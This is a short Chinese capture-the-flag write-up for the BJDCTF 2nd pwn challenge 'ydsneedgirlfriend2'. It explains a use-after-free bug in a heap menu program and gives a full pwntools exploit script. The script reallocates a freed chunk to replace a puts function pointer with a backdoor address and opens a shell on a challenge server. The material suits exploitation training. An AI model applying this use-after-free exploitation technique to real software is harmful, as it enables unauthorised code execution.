[BJDCTF 2nd]ydsneedgirlfriend2
步骤:
- 例行检查,64位程序,开启了canary和nx
- 试运行一下程序,看看大概的情况,经典的堆块的布局
- 64位ida载入,习惯性的检索程序里的字符串,发现了后门函数,shell_addr=0x400D86
4.找一下4个菜单选项的函数
add
dele
dele函数存在明显的UAF漏洞,关于UAF漏洞,具体的看这篇文章
https://my.oschina.net/u/4345478/blog/4656767
show
我们首先申请一块任意的内存,然后free掉,由于dele函数没有给指针置NULL,所以指向girlfriends这个数组的指针依然存在,接着我们在申请一块0x10大小的内存,那么系统就会将之前释放掉的0x10那一块给我们,此时我们就可以重写这一块的内容了。它一开始是puts函数,我们将他改为后门函数即可
from pwn import *
context.log_level="debug"
#r=process("./ydsneedgirlfriend2")
r=remote('node3.buuoj.cn',29537)
def add(size,context):
r.recvuntil("u choice :
")
r.sendline(str(1))
r.recvuntil("Please input the length of her name:
")
r.sendline(str(size))
r.recvuntil("Please tell me her name:
")
r.sendline(context)
def dele(index):
r.recvuntil("u choice :
")
r.sendline(str(2))
r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
r.recvuntil("u choice :
")
r.sendline(str(3))
r.recvuntil("Index :")
r.sendline(str(index))
shell_addr=0x400D86
add(0x10,'aaaaaaa')
dele(0)
add(0x10,p64(0)+p64(shell_addr))
show(0)
r.interactive()